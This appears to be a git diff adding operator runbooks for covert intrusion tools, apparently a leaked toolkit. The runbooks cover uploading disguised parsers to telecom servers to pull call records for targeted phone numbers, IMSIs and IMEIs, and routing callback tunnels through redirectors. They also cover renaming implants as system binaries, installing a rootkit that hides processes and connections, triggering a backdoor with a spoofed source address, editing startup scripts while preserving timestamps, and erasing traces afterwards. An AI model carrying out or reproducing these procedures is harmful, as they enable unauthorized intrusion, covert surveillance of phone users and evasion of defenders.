DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm crond adm +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + diff --git a/Linux/doc/old/etc/user.tool.cursehydrant.COMMON b/Linux/doc/old/etc/user.tool.cursehydrant.COMMON new file mode 100644 index 0000000..914d149 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.cursehydrant.COMMON @@ -0,0 +1,272 @@ +################ CURSEHYDRANT ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.cursehydrant.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# Format of each type of argument: +# p123456789 - phone number +# s123456789 - IMSI +# e123456789 - IMEI +# c123/456 - Cell/LAC (no leading 0's) + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the cursehydrant commands. + +### Typical file locations per host: + +### Just check to see if files been removed +-lt /root +-vget /root/.sh_history + +########################## liquidsteel: +### fc: 192.168.100.10 +ls /share/a1338/ne_q3ic/nb/convert/output | wc -l +ls /share/a1338/ne_q3ic/nb/convert/output | head -10 +ls /share/a1338/ne_q3ic/nb/convert/output | tail -10 +-ls /share/a1338/ne_q3ic/nb/convert/output/*dF* + +########################## sicklestar: +### about two weeks worth are kept in this directory: +### CDRCOL1: 10.211.4.1 +### CDRCOL2: (if not on CDRCOL1) 10.211.4.2 +ls /share/a1338/ne_q3ic/nb/convert/output | wc -l +ls /share/a1338/ne_q3ic/nb/convert/output | head -10 +ls /share/a1338/ne_q3ic/nb/convert/output | tail -10 +-ls /share/a1338/ne_q3ic/nb/convert/output/*dF* + +### this is where they are backed up - this could be huge +ls /share/a1338/ne_q3ic/nb/convert/backup | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup | tail -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/TODO | tail -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad1 | head -10 +ls /share/a1338/ne_q3ic/nb/convert/backup/ahmad/sulaman | wc -l + +########################## CURSEHYDRANT ###################################################### +############################################################################################### + +### Now, encrypt the ascii list...first make sure you have the encryption tool: +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### If cryptTool not in PATH, change your PATH or insert full path in command + +### to encrypt one at a time...skip to next comment to encrypt all at once: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### to encrypt all at the same time: +for i in argfile* ; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o `basename $i .txt`.enc -k CRYPTKEY -b ; done + +ls -l +file argfile*.enc + +### Tips for running the CURSEHYDRANT 4.2.1 + +### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! +### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional +### passes are needed for the date range +### DO NOT use -o if also using >L: or >T: (mixed output corrupts the decryption) +### By default, the new CH expects a cryptokey: +### to run in the clear, take out the -k KEY, add -w, replace -P with -p +### The phone list is deleted automatically now + + +### Suggested -z options: +### this looks in subdirs, so use caution in backup dir (can be good AND bad): +### Also circumvents "parameter list too long" problem with wildcards with 'ls' + -z "find /share/a1338/ne_q3ic/nb/convert/output -name '0506132*dF*' -print" + +### works, but only for smaller ranges (command line arglist gets long) + -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/05110[3-6]*dF*" + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +######## Upload the parser (CURSEHYDRANT) and called it lvmkd +# put up the parser tool +-put /current/up/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd + + # or + +-put /mnt/zip/cursehydrant.v4.2.1.HP-UXB.11.00.targetsl lvmkd + +##### Upload the encrypted phone list as nfskd, then run the parser: + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06071[3456]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc1 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06071[012]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc1.more +-beep 15 + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[89]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc2 +-beep 15 + + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[67]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc2.more +-beep 15 + +############ argfile 3 + +-put /current/down/argfiles/argfile3.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[345]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc3 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile3.enc nfskd +export ENV_ARGS='-d -k CRYPTKEY -z "find /share/a1338/ne_q3ic/nb/convert/output -name '06070[012]*dF*' -print" -P ./nfskd'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc3.more +#-beep 15 + +###### +###### to run parser in the clear (unencrypted): +###### + +#-put /current/down/argfiles/argfile1.txt nfskd +#export ENV_ARGS='-w -z "find /share/a1338/ne_q3ic/nb/convert/output -name '060501*dF*' -print" -p ./nfskd'; ./lvmkd >T:/current/down/cdrhits.test +#-beep 15 + +###### +###### to completely parse a range of files (no encryption & no particular number to search): +###### +#export ENV_ARGS='-o -w -d -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"; ./lvmkd >T:/current/down/cdr.morenumbers + + +###### +###### survey mode: +###### + +### checks for IMEIs that have more than one IMSI associated with it: +### to limit amount of memory used, replace "-x" with "-X numberBytes" +export ENV_ARGS='-x -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc.surveyIMEI + + +### generates a list of Cell IDs associated with each MSC address: +### to limit amount of memory used, replace "-y" with "-Y numberBytes" +export ENV_ARGS='-y -k CRYPTKEY -z "ls -1rt /share/a1338/ne_q3ic/nb/convert/output/06051[1-2]*dF*"'; ./lvmkd >T:/current/down/cdrhits.cursehydrant.HOST.DDMonYY.enc.surveyMSC + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + + +cd /current/down +ls -latr cdr*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehydrant.HOST.DDMonYY.enc1 -o cdrhits.cursehydrant.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.cursehydrant.HOST.DDMonYY.enc2 -o cdrhits.cursehydrant.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep lvmkd +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + +###### +###### copy DECRYPTED data to media +###### +ls -l cdr*txt* +mz +cp cdr*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +####### HP-UX (DO NOT BURN! DO NOT BURN! DO NOT BURN!) +-gs wearcup + +####### Everything else... +-rm lvmkd nfskd +-lt +-cd /tmp +-rm .scsi +-lt + +w +ps -ef | sort +-lt / + +##### Either -burn off or if the target is HPUX, use -exit and let -wearcup do the cleanup + diff --git a/Linux/doc/old/etc/user.tool.curserazor.COMMON b/Linux/doc/old/etc/user.tool.curserazor.COMMON new file mode 100644 index 0000000..fb17572 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.curserazor.COMMON @@ -0,0 +1,235 @@ +################ CURSERAZOR ######################### +############### PARSING ################################################################### + +### vi Search/Replace commands ### +### ProjectName - self explanatory +### Date field - today's date, used for output files +### Host - hostname of the box (not IP address) +### Cryptkey - encryption key (use output from below md5sum command) + +md5sum /current/down/tcpdump.raw + +mx +:%s/PROJECTNAME/PROJECTNAME/g +:%s/DDMonYY/DDMonYY/g +:%s/HOST/HOST/g +:%s/CRYPTKEY/CRYPTKEY/g +'x + +### Save the encryption key locally: + +echo CRYPTKEY > /current/down/cryptkey.curserazor.DDMonYY + +####### Prepare files containing numbers to search for: + +# if files containing the numbers to search available: +mkdir /current/down/argfiles +cd /current/down/argfiles +mz +cp /mnt/zip*/arg* /current/down/argfiles + #or +cp /mnt/zip*/PROJECTNAME/arg* /current/down/argfiles + +ls -altr + + +### Prep the argfiles: +### make sure the files are ASCII and contain NO EMPTY LINES!! +### make sure the last line does not contain a null character at the end +### (vi the file, add a carriage return to the last line, then delete the empty +### line and save) +### "file" results: +### This will not work: ASCII text, with CRLF line terminators +### This WILL: ASCII text +cat arg* +file arg* +dos2unix arg* +file arg* + +# if no data media is provided: +# locally, create a file of numbers to grep for with each number on a separate line +# make sure there are NO EMPTY LINES!!!! +# if searching for LACs and cell id's, use the format in the documentation: +# ex. - 410 01 95 18374 +# if searching for phone numbers, use the normal format: +# ex. - 4837506 + +cd /current/down/argfiles +vi /current/down/argfiles/argfile1.txt + + +### Make sure find the cryptTool...add to PATH if which fails... +which cryptTool.v1.0.Linux2.4.18-14.targetdl + +### To encrypt one at a time... +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile1.txt -o argfile1.enc -k CRYPTKEY -b +cryptTool.v1.0.Linux2.4.18-14.targetdl -i argfile2.txt -o argfile2.enc -k CRYPTKEY -b + +file argfile*.enc + +### Loop to encrypt all the argfiles +cd /current/down/argfiles +for i in argfile*.txt; do cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $i.enc -k CRYPTKEY -b + +file argfile*.enc + + +########## To look at CDR directories try the following: + +### Use the following commands to determine the location of current +### CDR data storage; Once you identify the location of the data, you'll +### use the head/tail commands to determine the date ranges being saved. +### These date ranges will be used as args in the curserazor commands. + +### Typical file locations per host: + +########################## hazyrazor: +# paths based on isb-ser-imelive 172.20.16.136 + +ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/*200710*GCDR$ | wc +ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ | grep 200710.*GCDR$ | head -30 +ls -l /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ | grep 200710.*GCDR$ | tail -30 + +### Tips for running the CURSERAZOR 1.1 + + ### DO NOT _APPEND_ to the local file if using encryption - (no >>L: or >>T: )!!!! + ### per each argfile, create .enc1, .enc1.more, .enc1.more2, etc if additional + ### passes are needed for the date range + ### The phone list is deleted automatically + + +######## Upload the parser (CURSERAZOR) and call it nscd +# put up the parser tool +# First, using a wildcard, confirm our hidden directory (and that we are priveleged) +-ctrl -d +# or maybe something like this? +-ls /lib/.02dbb* + +# Now (using the full path, this wildcard will fail), cd there and add it to our path +-cd /lib/.02dbb* +-addpath . + +# Put up the tool as nscd +-put /current/up/curserazor.v1.1.SunOS5.10.targetdl nscd +which nscd +-lt +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +-ls -t +which nscd + + +##### Upload the encrypted phone list as awk, modify each parser command to have the +##### correct directory and date range of files to parse, then run the parser: + +##### NOTE: MUST CORRELATE NUMBERS IN ENCRYPTED TASKING FILENAMES (i.e. argfile1.enc) +##### TO OUTPUT FILENAMES (cdrhits*.enc1, cdrhits*.enc1.more, cdrhits*.enc1.more2, etc.) + +##### NOTE2: GO FROM MOST RECENT TIME TO (PROBABLY CURRENT DATE) AS FAR BACK AS TIME ALLOWS + +############ argfile 1 + +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc1 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile1.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc1.more +-beep 15 + + +############ argfile 2 + +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2.more +-beep 15 + + +############ argfile 3 + +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007103*GCDR' -print" -P ./awk +nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2 +-beep 15 + +### Run again if needed for same tasking +-put /current/down/argfiles/argfile2.enc awk +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -P ./awk +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc2.more +-beep 15 + + +###### +###### survey mode: +###### + +### checks for IMEIs that have more than one IMSI associated with it: +### to limit amount of memory used, replace "-x" with "-X numberBytes" +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -x +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc.surveyIMEI + + +### generates a list of Cell IDs associated with each MSC address: +### to limit amount of memory used, replace "-y" with "-Y numberBytes" +-setenv B=-k CRYPTKEY -z "find /ImE/data05_loc/DATA_5.0/OUTPUT/MSC/ARCHIVE/ -name '*2007102[89]*GCDR' -print" -y +./nscd >T:/current/down/cdrhits.curserazor.HOST.DDMonYY.enc.surveyMSC + + +###### +##### when it's done running, decrypt the file (-d -c options) +###### + +cd /current/down +ls -latr cdrhits*enc* + +# to decrypt individually: +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.curserazor.HOST.DDMonYY.enc1 -o cdrhits.curserazor.HOST.DDMonYY.txt1 -k CRYPTKEY -d -c +cryptTool.v1.0.Linux2.4.18-14.targetdl -i cdrhits.curserazor.HOST.DDMonYY.enc2 -o cdrhits.curserazor.HOST.DDMonYY.txt2 -k CRYPTKEY -d -c + + +# or decrypt all at one time (once all are written fully) +cd /current/down +for i in cdrhits*enc* ; do n="`echo $i | sed \"s,enc,txt,g\"`" ; cryptTool.v1.0.Linux2.4.18-14.targetdl -i $i -o $n -k CRYPTKEY -d -c ; done +ls -latr cdr*txt* + +###### +###### If you need to stop the parser before it completes: +### Control-C the nopen window containing the parser command +### ps -ef |grep nscd +### if the parser command is still "running", then kill the process: +### kill -9 +### You'll still be able to decrypt the partially completed data pull + +###### +###### copy DECRYPTED data to media +###### +ls -l cdrhits*txt* +mz +cp cdrhits*txt* /mnt/zip*/PROJECTNAME +ls -l /mnt/zip*/PROJECTNAME +uz + + +##### +##### clean up +##### +-rm nscd awk +-lt +-cd /tmp +-lt + +w +ps -ef | sort +-lt / + +-burnBURN + diff --git a/Linux/doc/old/etc/user.tool.dairyfarm.COMMON b/Linux/doc/old/etc/user.tool.dairyfarm.COMMON new file mode 100644 index 0000000..14baa2d --- /dev/null +++ b/Linux/doc/old/etc/user.tool.dairyfarm.COMMON @@ -0,0 +1,96 @@ +################################################################### +### DAIRYFARM +################################################################### +# Wed Mar 16 11:41:42 EDT 2011 + + + +DAIRYFARM procedures: + + +mx +:%s/TARGET_IP/TARGET_IP/g +:%s/WINDOWS_REDIR_IP/WINDOWS_REDIR_IP/g +:%s/LINUX_OP_BOX_IP/192.168.254.71/g +:%s/WINDOWS_OP_BOX_IP/192.168.254.72/g +:%s/CONTROL_PORT/CONTROL_PORT/g +:%s/XSERVER_PORT/XSERVER_PORT/g +:%s/NETCAT_PORT/NETCAT_PORT/g +:%s/NOPEN_PORT/NOPEN_PORT/g +:%s/RAT_NAME/sendmail/g +:%s,TMP_DIR,/tmp/.scsi,g +`x + +### Follow steps in this order: + + +### 1) on linux box, start dairyfarm client: + +#./df_client 35535 127.0.0.1:40211 +#./df_client CONTROL-PORT 127.0.0.1:XSERVER-PORT +./df_client CONTROL_PORT 127.0.0.1:XSERVER_PORT + +### 2) on windows redir, set up tunnels: + +### the next line replaces the normal tunnel to call back to the xserver port +### and references the df control port instead +#background redirect -tcp -implantlisten 35535 -target 192.168.254.131 35535 -nodes 40 +#background redirect -tcp -implantlisten CONTROL-PORT -target LINUX-OP-BOX CONTROL-PORT -nodes 40 +background redirect -tcp -implantlisten CONTROL_PORT -target LINUX_OP_BOX_IP CONTROL_PORT -nodes 40 + +### to udp 177 +#background redirect -udp -lplisten 177 -target 61.555.227.115 177 -maxpacketsize 32000 +#background redirect -udp -lplisten 177 -target TARGET-IP 177 -maxpacketsize 32000 +background redirect -udp -lplisten 177 -target TARGET_IP 177 -maxpacketsize 32000 + +### callback for netcat upload +#background redirect -tcp -implantlisten 33881 -target 192.168.254.131 33881 -nodes 40 +#background redirect -tcp -implantlisten NETCAT-PORT -target LINUX-OPS-BOX NETCAT-PORT -nodes 40 +background redirect -tcp -implantlisten NETCAT_PORT -target LINUX_OP_BOX_IP NETCAT_PORT -nodes 40 + +### callforward to nopen +#background redirect -tcp -lplisten 32754 -target 61.555.227.115 32754 +#background redirect -tcp -lplisten NOPEN-PORT -target UNIX-TARGET-IP NOPEN-PORT +background redirect -tcp -lplisten NOPEN_PORT -target TARGET_IP NOPEN_PORT -bind WINDOWS_OP_BOX_IP + + +### 3) on windows redir, upload dairyfarm.exe as something obscure (help16.exe) and start: + +#background run -command "help16.exe 40211 127.0.0.1:35535" +#background run -command "help16.exe XSERVER-PORT 127.0.0.1:CONTROL-PORT" +background run -command "help16.exe XSERVER_PORT 127.0.0.1:CONTROL_PORT" + + +### 4) on linux, set up to launch YS, using appropriate wrap script: + +cd /current/up +file noserver +# cp appropriate noserver from morerats to /current/up +# Need to noprep it? Different listener port (default is 32754) +#noprep noserver -lNOPEN_PORT +noprep noserver -lNOPEN_PORT +#packrat sendmail noserver.new 33881 +#packrat RAT_NAME noserver.new NETCAT-PORT +packrat RAT_NAME /current/up/noserver.new NETCAT_PORT + +#./wrap-aix.sh -l 61.555.227.110 -r sendmail -p 33881 -x 40211 -d /tmp/.scsi +#./wrap-hpux.sh -l 61.555.227.110 -r sendmail -p 33881 -x 40211 -d /tmp/.scsi +#./wrap-sun.sh -l WIN-TARGET-IP -r RAT_NAME -p NETCAT-PORT -x XSERVER-PORT -d TMP_DIR +./wrap-sun.sh -l WINDOWS_REDIR_IP -r RAT_NAME -p NETCAT_PORT -x XSERVER_PORT -d TMP_DIR + +#./xc -x 61.555.227.110 -y 40211 -s 61.555.227.110 192.168.254.72 +#./xc -x WIN-TARGET-IP -y XSERVER-PORT -s WIN-TARGET-IP WINDOWS-OP-BOX +./xc -x WINDOWS_REDIR_IP -y XSERVER_PORT -s WINDOWS_REDIR_IP WINDOWS_OP_BOX_IP + + +### 5) connect to nopen AFTER you control-c the netcat window: + +#noclient 192.168.254.72:32754 +noclient WINDOWS_OP_BOX_IP:NOPEN_PORT + +### 6) on linux, control-C the df_client window + +### 7) on windows, the dairyfarm.exe (renamed as help16.exe or whatever) should +### go away from the process listing; You can now remove it from the target. + + diff --git a/Linux/doc/old/etc/user.tool.dittoclass.COMMON b/Linux/doc/old/etc/user.tool.dittoclass.COMMON new file mode 100644 index 0000000..aaf8f96 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.dittoclass.COMMON @@ -0,0 +1,189 @@ +##### DITTOCLASS ##### + +### Search/replace commands +### OLD PKG NAME: if DC prev installed, name of pkg, if not then leave alone +### OLD DITTOCLASS DIR: if DC prev installed, directory where it was installed +### NEW PKG NAME: name of new DC installation package +### NEW DITTOCLASS DIR: directory where DC will be installed + +:%s/OLD_PKG_NAME/OLD_PKG_NAME/g +:%s/OLD_DITTOCLASS_DIR/OLD_DITTOCLASS_DIR/g +:%s/NEW_PKG_NAME/NEW_PKG_NAME/g +:%s/NEW_DITTOCLASS_DIR/NEW_DITTOCLASS_DIR/g + + +### Check to see if DITTOCLASS already on target (if fails, not implanted). +### Make sure check for other implants too. +### NOTE: Must use "cat", "-cat" will not work +### Doing "cat /proc/OLD_PKG_NAME" will register you to see hidden resources +### If neither of the "cat" commands work and you think there is an old +### installation, the "ls" command below should still work, if not there is +### probably nothing there +cat /proc/listfiles +cat /proc/OLD_PKG_NAME +ls -la /OLD_DITTOCLASS_DIR/OLD_PKG_NAME + + +### If DITTOCLASS already there but needs to be upgraded, go ahead and +### uninstall it, if not skip to "Upload the DC package and run..." +-ls /OLD_DITTOCLASS_DIR/uninstall_OLD_PKG_NAME.sh + +# If it exists +/OLD_DITTOCLASS_DIR/uninstall_OLD_PKG_NAME.sh + + +### After uninstall, in a NOPEN window, grep for the old package name +### and kill any of the processes associated with it +netstat -anlp | grep OLD_PKG_NAME +ps -ef | grep OLD_PKG_NAME + +kill -9 OLD_PKG_NAME_PIDS + + +### Make sure old connections/processes gone +netstat -anlp | grep OLD_PKG_NAME +ps -ef | grep OLD_PKG_NAME + + +### Make sure unable to connect with hector if connected with hector before +# Use whatever command used to get on +cd /current/bin +hector .... # your previous hector command line + + +### Upload the DC package and run the install script +### Removes itself upon installation +-put /current/up/NEW_PKG_NAME.tar.gz m.tar.gz2 +tar zxvf m.tar.gz +-lt +./install.sh + + +### Assuming installation script did not return any errors... +### Check to see if DC is seemingly working by seeing if the files are +### in fact being hidden +-lt /NEW_DITTOCLASS_DIR/ # should NOT see NEW_PKG_NAME in this listing +-lt /NEW_DITTOCLASS_DIR/NEW_PKG_NAME # SHOULD see NEW_PKG_NAME in this listing + + +### A little bit more search/replace fun +### TARGET IP: duh +### TARGET TRIGGER PORT: duh +### HECTOR CALLBACK IP: the IP for target to callback to (probably the window +### with the -tunnel) +### HECTORi CALLBACK PORT: the port for target to callback to +### RAWSEND PORT: local port to redirect the trigger packet +### SPOOF SRC IP: source IP of trigger packet +### BACKDOOR KEY: key to verify whether to call back or not +### should be located in: +### /current/bin/varkeys/projectname/ip.host/dittoclass +:%s/TARGET_IP/TARGET_IP/g +:%s/TARGET_TRIGGER_PORT/TARGET_TRIGGER_PORT/g +:%s/HECTOR_CALLBACK_IP/HECTOR_CALLBACK_IP/g +:%s/HECTOR_CALLBACK_PORT/HECTOR_CALLBACK_PORT/g +:%s/RAWSEND_PORT/RAWSEND_PORT/g +:%s/SPOOF_SRC_IP/SPOOF_SRC_IP/g +:%s/BACKDOOR_KEY/BACKDOOR_KEY/g + + +### Setup tunnel on redirector to contact agamemnon with hector +-tunnel +u TARGET_TRIGGER_PORT TARGET_IP +r HECTOR_CALLBACK_PORT + +### Setup -rawsend for hector +-rawsend RAWSEND_PORT + +##### Connect to agamemnon from LOCAL WINDOW +cd /current/bin + +### For hector help in case need to play with the trigger line and the +### -tunnel stuff to get it right +./hector -v -h + +./hector --backdoor --target-ip TARGET_IP --dest-port TARGET_TRIGGER_PORT --spoof-srcip SPOOF_IP --listen-port HECTOR_CALLBACK_PORT --control-ip HECTOR_CALLBACK_IP --udp -Z 127.0.0.1:RAWSEND_PORT --backdoor-trigger BACKDOOR_KEY + +### Once connected to target thru hector +mkdir /tmp/.pci +cd /tmp/.pci + +!help! + +### To send a file via hector +### NOTE: Assume the working dir on target is "/tmp/.dir" +### Uploading the filename "crond" will be named "/tmp/.dir/crond" on target +### Uploading the filename "/etc/passwd" will be named "/tmp/.dir/_etc_passwd" +### on target + +### Upload and run a NOPEN listener +!sendfile! +cp /current/up/morerats/NOPEN_TO_UPLOAD /current/bin/crond +crond # what called noserver in /current/down/HOSTNAME.TARGET_IP +PATH=. D=-lRANDOM_PORT crond + +### From redirector: +-nstun TARGET_IP:RANDOM_PORT + +### Or callbacks (may need to use this for multiple windows instead of -call) +PATH=. D=-cHECTOR_CALLBACK_IP:RANDOM_PORT crond + +-nrtun RANDOM_PORT +-call HECTOR_CALLBACK_IP:RANDOM_PORT + + +### Register to be allowed to see hidden files/processes/conns +!register! +# Enter the new package name at prompt "Please enter the package name:" +NEW_PKG_NAME +# must see NEW_PKG_NAME> REGISTERED to know you are successful + + +### Hide processes and ports from hector window +# In each nopen window: +-pid + +ps -auxww | grep crond +netstat -an | grep HECTOR_CALLBACK_IP + +# Hide process in hector window (to unhide, run !unhideproc!) +!hideproc! +Please enter the Process ID you wish to unhide: PID_TO_HIDE + +# Confirm in unregistered nopen window that pid is hidden +ps -auxww | grep PID_TO_HIDE + +# Hide connection in hector window (to unhide, run !unhideconn!) +# NOTE: Always hide the end of the redirector, don't hide the target's +# Otherwise, legitimate connections might not show up +!hideconn! +Please enter the IP Address you wish to hide: HECTOR_CALLBACK_IP +Please enter the port you wish to hide: NOPEN_PORT + +# Confirm in unregistered nopen window that conn is hidden +netstat -an | grep NOPEN_PORT + +# make sure processes and connections are hidden +!listconns! +!listprocs! + +# to exit hector + + + +### Startup script +### Can modify startup script to add strifeworld or other progs that +### need to be started on boot +-lt /etc/rc#.d/S55NEW_PKG_NAME +-get /etc/rc#.d/S55NEW_PKG_NAME + +### After modified... +-put MODIFIED_SCRIPT s + +touch -r /etc/rc#.d/S55NEW_PKG_NAME t +cat s > /etc/rc#.d/S55NEW_PKG_NAME +touch -r t /etc/rc#.d/S55NEW_PKG_NAME + +-rm s t + +#################################################################### + diff --git a/Linux/doc/old/etc/user.tool.draftbagger.COMMON b/Linux/doc/old/etc/user.tool.draftbagger.COMMON new file mode 100644 index 0000000..44a9698 --- /dev/null +++ b/Linux/doc/old/etc/user.tool.draftbagger.COMMON @@ -0,0 +1,86 @@ +##### DRAFTBAGGER ##### + +### Assumes have already talked to SNAT via SnatLp + +### Search/replace commands +:%s/ROUTER_IP/ROUTER_IP/g +:%s/PROXY_IP/PROXY_IP/g +:%s/RADIUS_IP/RADIUS_IP/g +:%s/RANDOM_HIGH/RANDOM_HIGH/g + + +### These aren't really means to be used as search/replace in this script, more +### placeholders for the example commands, but here are the commands anyway, +### commented out so you really shouldn't run them +#:%s/LOCAL_TUNNEL_COMMANDS_PORT/LOCAL_TUNNEL_COMMANDS_PORT/g +#:%s/NOPEN_PID/NOPEN_PID/g +#:%s/PARTIAL_MATCH_TARGS/PARTIAL_MATCH_TARGS/g 